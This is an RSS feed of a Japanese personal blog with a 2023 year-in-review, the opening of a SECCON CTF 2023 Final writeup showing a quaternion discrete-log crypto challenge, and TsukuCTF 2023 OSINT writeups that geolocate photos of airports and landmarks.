<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>2023 on Laika&#39;s Blog</title>
    <link>https://blog.albina.cc/tags/2023/</link>
    <description>Recent content in 2023 on Laika&#39;s Blog</description>
    <generator>Hugo -- 0.135.0</generator>
    <language>ja-jp</language>
    <lastBuildDate>Sun, 31 Dec 2023 13:39:28 +0900</lastBuildDate>
    <atom:link href="https://blog.albina.cc/tags/2023/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>2023年振り返り</title>
      <link>https://blog.albina.cc/posts/recap-2023/</link>
      <pubDate>Sun, 31 Dec 2023 13:39:28 +0900</pubDate>
      <guid>https://blog.albina.cc/posts/recap-2023/</guid>
      <description>&lt;h2 id=&#34;はじめに&#34;&gt;はじめに&lt;/h2&gt;
&lt;p&gt;2023年の振り返りをします。&lt;/p&gt;
&lt;h3 id=&#34;1月2月&#34;&gt;1月・2月&lt;/h3&gt;
&lt;p&gt;未踏の成果発表と修論発表に追われる日々でした。
応募したときには、修論はなんとかなるだろうと高を括っていた結果痛い目を見ました&amp;hellip;
未踏の同期にM2はほとんど見かけなかった気がします。賢い。&lt;br&gt;
後回し癖&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;は一生治らないと思っているので修論執筆は本当に大変でした。
LLMの進歩のおかげで英訳が簡単にできる時代で本当に良かったです。&lt;/p&gt;
&lt;h3 id=&#34;3月&#34;&gt;3月&lt;/h3&gt;
&lt;p&gt;2月までであらゆる𝐵𝑖𝑔 𝐸𝑣𝑒𝑛𝑡が終わったので燃え尽き状態でした。
何をしていたか覚えていません&amp;hellip;&lt;/p&gt;
&lt;p&gt;と思ったのですが、そういえば手元のWindowsPCが不調になっていたので自作PCを新たに作り直していました。
今まで使っていたのが高校生の時に組んだPC(Core i5, GTX 760)だったので、VALORANTですら動作が怪しいレベルのスペックでした。&lt;br&gt;
久しぶりの大型PCアップデート(Core i7, RTX 3060 Ti)でかなり快適になりました。
やはり普段から使うものには金を惜しむべきではありませんね。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/recap-2023/elden.png&#34;
         alt=&#34;買っただけで全然やってないElden Ring&#34;/&gt; &lt;figcaption&gt;
            &lt;p&gt;買っただけで全然やってないElden Ring&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;もう1つ思い出しました。VCJのSplit1の決勝が大阪で開催されたので見に行きました。
ゲームの大会を現地で見るのは初めてでしたが、会場の一体感はやはり現地でしか味わえないものですね。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/recap-2023/fennel.jpg&#34;
         alt=&#34;FENNEL&#34;/&gt; &lt;figcaption&gt;
            &lt;p&gt;FENNEL&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h3 id=&#34;4月&#34;&gt;4月&lt;/h3&gt;
&lt;p&gt;D進しました。がんばるぞ～&lt;br&gt;
同時に生活費を稼ぐべく、某所でWeb開発のお手伝いを始めました。&lt;/p&gt;
&lt;h3 id=&#34;5月&#34;&gt;5月&lt;/h3&gt;
&lt;p&gt;上旬にWaniCTF 2023を開催しました。
今回はCTFTimeにも掲載して多くの方にご参加いただきました。
&lt;a href=&#34;https://ctftime.org/event/1988/weight&#34;&gt;public voting&lt;/a&gt;でも多くの高評価をいただきとてもありがたい&amp;hellip;&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/recap-2023/wanictf.png&#34;
         alt=&#34;高評価ありがとうございます&#34;/&gt; &lt;figcaption&gt;
            &lt;p&gt;高評価ありがとうございます&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;下旬にはTeam Enuの方々とDEFCON Qualifierに挑みました &lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;。
食事付き、宿泊施設付き、お菓子もジュースもたくさんある部屋でモニターも大量にあるという至れり尽くせりの環境でCTFを解ける最高の2日間でした。
しかし、問題にアプローチできる筋力が足りず特にreversing筋の不足を痛感しました。
このときyu1hpaさんにも初めてお会いしました。&lt;/p&gt;
&lt;h3 id=&#34;9月&#34;&gt;9月&lt;/h3&gt;
&lt;p&gt;Wani Hackaseの長い歴史の中で初の合宿として、和歌山の白浜に行きました。
🐊は正式な大学のサークルではないので、普段から最低限の活動しかしていなかったのですが、5・6年目にしてようやくそれらしいことができました。&lt;/p&gt;
&lt;p&gt;なるべくスケジュールが合う日程を選んだのですが、結果として涼しくなりはじめたちょうどよいタイミングでした。&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;
初回だったので講義は1つだけでしたが、hi120ki氏が懇切丁寧なQiling講座をしてくれました。
練習問題も多くついており、かなり充実した講義でした。
そのあとはバーベキューもして夏の最後に夏っぽいことができました。
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/recap-2023/bbq.jpg&#34;
         alt=&#34;BBQ&#34;/&gt; &lt;figcaption&gt;
            &lt;p&gt;BBQ&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;翌日はアドベンチャーワールドで🐼を見ました。
最後に動物園に行ったのが遥か昔だったので、ほとんど初動物園という感じで年甲斐もなく楽しみました。&lt;/p&gt;
&lt;figure&gt;
    &lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/recap-2023/panda.jpg&#34;
         alt=&#34;🐼&#34;/&gt; &lt;figcaption&gt;
            &lt;p&gt;🐼&lt;/p&gt;
        &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;それと人生で初めてゲーミングモニターを買いました。
中学生のころからFPSをしていましたが、初めて60Hzよりリフレッシュレートの高いモニターを買いました。
マウスを高速移動させるとカーソルが60Hzのときより3倍くらい多く分身していてビックリしました。
ゲーム中は確かにぬるぬるしている感じはあるのですが、言うほど成績が良くなるかというとそういうわけでもなく&amp;hellip;&lt;/p&gt;
&lt;h3 id=&#34;10月11月&#34;&gt;10月・11月&lt;/h3&gt;
&lt;p&gt;論文執筆→あれ？ここちょっとおかしいな？→再実験→論文執筆→&amp;hellip;
をしていて、それ以外の記憶がありません。&lt;/p&gt;
&lt;p&gt;そういえば某所でリサーチアシスタントをすることになり、10月中旬ごろに面接を受けました。&lt;/p&gt;
&lt;h3 id=&#34;12月&#34;&gt;12月&lt;/h3&gt;
&lt;p&gt;上旬はTsukuCTFに参加して優勝しました。賞品がいろいろあるらしく楽しみ。
OSINTは結構苦手意識があるのですが、サクサク解けて楽しかったです。&lt;/p&gt;
&lt;p&gt;また、10月に面接を受けた某所でのリサーチアシスタントも始まり、新しい研究テーマに取り組み始めました。
先月の論文執筆中に思ったのですが、やはり研究初期の手探り状態がとても好きです。&lt;/p&gt;
&lt;p&gt;下旬にはsouthball氏のお誘いで、思いがけずSECCON Finalに参加しました。
予選ラウンドがあるCTFで決勝オンサイトに行くのは初めてでした。
チームメイトがとても強く、ほかのジャンルも満遍なくフラグをとってくれていたため、 結果として国内3位を獲得できました。
チームメイトは全員初めての決勝オンサイトだったはずですが、とても良い結果が残せたと思います。&lt;/p&gt;</description>
    </item>
    <item>
      <title>SECCON CTF 2023 Final Writeup</title>
      <link>https://blog.albina.cc/posts/seccon-ctf-2023-final-writeup/</link>
      <pubDate>Fri, 29 Dec 2023 18:02:11 +0900</pubDate>
      <guid>https://blog.albina.cc/posts/seccon-ctf-2023-final-writeup/</guid>
      <description>&lt;h2 id=&#34;はじめに&#34;&gt;はじめに&lt;/h2&gt;
&lt;p&gt;2023/12/23（土）- 2023/12/24（日）の2日間でSECCON CTF 2023の決勝戦が開催されました。
チーム southball &lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt; の4人で参加して国内3位でした🎉
思った以上の結果が出せて嬉しいです。&lt;/p&gt;
&lt;blockquote class=&#34;twitter-tweet&#34;&gt;&lt;p lang=&#34;ja&#34; dir=&#34;ltr&#34;&gt;SECCON本戦に出場していました&lt;br&gt;チームsouthballで国内3位でした！ &lt;a href=&#34;https://t.co/CNyPbsQ2le&#34;&gt;pic.twitter.com/CNyPbsQ2le&lt;/a&gt;&lt;/p&gt;&amp;mdash; Laika (@ki4l_) &lt;a href=&#34;https://twitter.com/ki4l_/status/1738913140577038627?ref_src=twsrc%5Etfw&#34;&gt;December 24, 2023&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src=&#34;https://platform.twitter.com/widgets.js&#34; charset=&#34;utf-8&#34;&gt;&lt;/script&gt;


&lt;p&gt;チームメイトのwriteup&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ciffelia: &lt;a href=&#34;https://blog.ciffelia.com/article/seccon2023-finals&#34;&gt;https://blog.ciffelia.com/article/seccon2023-finals&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;southball: &lt;a href=&#34;https://github.com/southball/ctf-writeups/tree/main/SECCON-CTF-2023-Final&#34;&gt;https://github.com/southball/ctf-writeups/tree/main/SECCON-CTF-2023-Final&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;crypto-dlp-40&#34;&gt;[Crypto] DLP 4.0&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;os&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;secrets&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;signal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;FLAG&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;getenv&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;FLAG&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;FAKEFLAG&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{THIS_IS_FAKE}&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;vm&#34;&gt;__name__&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;signal&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;alarm&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;333&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;p&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;What&amp;#39;s your favorite 333-bit p: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;not&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;is_prime&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;or&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;bit_length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;!=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;333&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Invalid p&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;exit&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;order&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;**&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;x&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;secrets&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;randbelow&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;order&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;Q&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;QuaternionAlgebra&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Zmod&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;g&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Q&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;random_element&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;h&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;g&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;**&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;x&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;sa&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;g&lt;/span&gt; &lt;span class=&#34;si&#34;&gt;= }&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;sa&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;{&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;h&lt;/span&gt; &lt;span class=&#34;si&#34;&gt;= }&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;_x&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Guess x: &amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;g&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;**&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;_x&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;h&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;FLAG&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nb&#34;&gt;print&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;NO FLAG&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;問題は至ってシンプル。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;333bitの素数$p$をサーバーへ送信する。&lt;/li&gt;
&lt;li&gt;サーバー側で適当な$g \in \mathbb{H}_p$が選択される。&lt;/li&gt;
&lt;li&gt;$g, g^x$が与えられるので、$x$を求める。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;離散対数問題で、こちらが$p$を自由に決められる状況なので、Pohlig-Hellmanを真っ先に試しました。&lt;/p&gt;</description>
    </item>
    <item>
      <title>TsukuCTF2023 Writeup</title>
      <link>https://blog.albina.cc/posts/tsukuctf2023-writeup/</link>
      <pubDate>Sun, 10 Dec 2023 18:20:28 +0900</pubDate>
      <guid>https://blog.albina.cc/posts/tsukuctf2023-writeup/</guid>
      <description>&lt;p&gt;Wani HackaseでTsukuCTFに参加しました。
結果は１位でした。&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;OSINTは普段面倒臭がって解かないんですが、これだけ出されると逆に解いてみたくなります。&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-tsukuctf/ranking.png&#34; alt=&#34;ranking&#34;  /&gt;
&lt;/p&gt;
&lt;p&gt;とりあえず自分が関わった問題だけ書きます。&lt;/p&gt;
&lt;h2 id=&#34;airport&#34;&gt;airport&lt;/h2&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-tsukuctf/image.jpg&#34; alt=&#34;image&#34;  /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://www.ana.co.jp/ja/jp/guide/inflight/service/domestic/dhc8-q400/&#34;&gt;https://www.ana.co.jp/ja/jp/guide/inflight/service/domestic/dhc8-q400/&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;DHC8-Q400型機は、ANAグループ唯一のプロペラ機です。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;らしいです。
就航していて割と町中にある空港を全部打ったら伊丹空港でした。&lt;br&gt;
大阪に居るのに全然伊丹空港に行ったことがなく確信が持てませんでした。&lt;/p&gt;
&lt;h2 id=&#34;fiction&#34;&gt;fiction&lt;/h2&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-tsukuctf/fiction.jpg&#34; alt=&#34;gekko&#34;  /&gt;
&lt;/p&gt;
&lt;p&gt;最近強化されたGekkoくんの家です。&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; &lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;これはVALORANTというゲームのマップで、sunsetというマップの一角です。
VALORANTはマップごとに緯度・経度みたいな設定があるので、それを調べて入力すると通ります。&lt;br&gt;
VALORANTをやっている人にはラッキー問題です。&lt;/p&gt;
&lt;h2 id=&#34;travel_with_tsukushi&#34;&gt;travel_with_tsukushi&lt;/h2&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-tsukuctf/airport.png&#34; alt=&#34;airport&#34;  /&gt;

Air ArabiaとBatik AirとMalaysia Airlinesの機体がありますね。
Google Lens最強です。&lt;br&gt;
Batik AirはBatik Air Malaysiaというのもあるらしいですが、関係性はよくわかりません。&lt;br&gt;
とにかく国際便が多そうなので、これらの航空会社と関連性の高そうなマレーシアの大きい空港あたりっぽさそうです。&lt;br&gt;
今回のOSINTはsubmitし放題なので投げてみると、クアラルンプール国際空港が該当しました。&lt;/p&gt;
&lt;h2 id=&#34;trainwindow&#34;&gt;TrainWindow&lt;/h2&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-tsukuctf/TrainWindow.jpg&#34; alt=&#34;trainwindow&#34;  /&gt;

最近の写真は画質が良くて細部がよく見えます。
中央右寄りの黒い建物にTTCと書いてあるのでググります。&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://maps.app.goo.gl/XrMxi2vBWPyGv76T7&#34;&gt;https://maps.app.goo.gl/XrMxi2vBWPyGv76T7&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;場所がそれっぽいですね。
あとは近くを走る線路上の画角が合う地点を探します。&lt;/p&gt;
&lt;h2 id=&#34;grass_court&#34;&gt;grass_court&lt;/h2&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; src=&#34;https://blog.albina.cc/img/2023-tsukuctf/tennis.jpg&#34; alt=&#34;tennis&#34;  /&gt;

テニスコートはほぼ情報がなく、画面中央を拡大すると見える謎のキャラクターと、左の木に隠れた電波天文台しか手掛かりがなく詰まっていました。&lt;/p&gt;
&lt;p&gt;Ciffeliaが謎のキャラクターが奥州宇宙遊学館&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;のキャラクター「又三郎」であることを突き止めてくれたため、一気に解決しました。
どうやって見つけたんだろう。&lt;/p&gt;
&lt;h2 id=&#34;sunset&#34;&gt;sunset&lt;/h2&gt;
